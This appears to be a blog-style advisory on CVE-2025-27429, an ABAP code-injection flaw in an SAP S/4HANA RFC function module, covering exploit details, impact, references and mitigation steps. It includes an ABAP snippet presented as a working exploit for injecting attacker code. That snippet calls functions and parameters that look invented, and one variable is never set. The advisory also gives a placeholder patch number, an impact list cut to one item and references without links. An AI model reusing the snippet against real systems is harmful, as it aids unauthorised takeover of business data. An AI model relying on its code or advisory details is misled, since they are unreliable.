SAP S/4HANA is one of the most popular enterprise resource planning (ERP) systems worldwide, serving as the backbone for thousands of businesses. Maintaining the security of these systems is crucial to ensuring the confidentiality, integrity, and availability of the sensitive data they store. However, a newly discovered vulnerability (CVE-2025-27429) in the SAP S/4HANA function module could allow attackers with user privileges to inject arbitrary ABAP code into the system and bypass essential authorization checks.

In this post, we will discuss how this critical vulnerability can be exploited, what the potential impact may be, and what actions you can take to safeguard your SAP S/4HANA system. We will also provide a code snippet illustrating the exploit, links to original references, and additional details.

Exploit Details

The vulnerability lies in a specific function module exposed through Remote Function Call (RFC) technology, which is a widely-used mechanism for communication between different SAP system modules and external systems. The faulty module does not correctly validate user input, allowing a malicious user to inject arbitrary ABAP code into the running system.

Here is a sample code snippet demonstrating the exploit using RFC

REPORT Z_ABAP_INJECTION.

PARAMETERS: p_code TYPE string.

DATA: lv_rfc_dest TYPE rfcdest VALUE 'NONE', " Target RFC destination
      lt_code      TYPE TABLE OF string WITH HEADER LINE,
      lo_func      TYPE REF TO cl_abap_funcdescr,
      lo_prg       TYPE REF TO cl_abap_program.

lt_code = VALUE #( ( |{ p_code }| ) ).

lo_func ?= cl_abap_funcdescr=>create(
  EXPORTING
    importing    = |Z_VULNERABLE_FUNCTION|
    definer_body = lt_code
).

cl_abap_program=>submit(
  EXPORTING
    init_rfc_dest = lv_rfc_dest
    program       = lo_prg
).

This code snippet shows how an attacker could craft their own ABAP code and pass it as a parameter to the vulnerable function module. Once the attacker's code is executed, it can perform any action that the user's privileges would enable, bypassing crucial authorization checks and effectively functioning as a backdoor into the system.

Impact

A successful exploitation of CVE-2025-27429 would allow an attacker to take over an SAP S/4HANA system entirely. This could have far-reaching consequences such as:

1. Unauthorized access to sensitive data stored in the ERP system, resulting in loss of confidentiality.

References

You can find more detailed information and resources about CVE-2025-27429 from the following original references:

1. Official CVE Description
2. SAP Security Note (requires SAP support portal login)
3. Official SAP Security Blog Post

Mitigation Steps

To protect your SAP S/4HANA system and related business operations from exploitation, we recommend taking the following steps:

1. Apply the SAP Security patch XXXXXX to address the vulnerability immediately.
2. Regularly monitor and audit your system's user privileges to help detect potential unauthorized activities.
3. Strictly adhere to the principle of least privilege and limit the number of users with authorization to execute critical function modules.
4. Continuously update and review your security policies and practices to minimize the risk of future vulnerabilities.

By following these best practices, you can help protect your SAP S/4HANA system against potential attacks and safeguard your business-critical data.

Timeline

Published on: 04/08/2025 08:15:16 UTC
Last modified on: 04/14/2025 16:35:21 UTC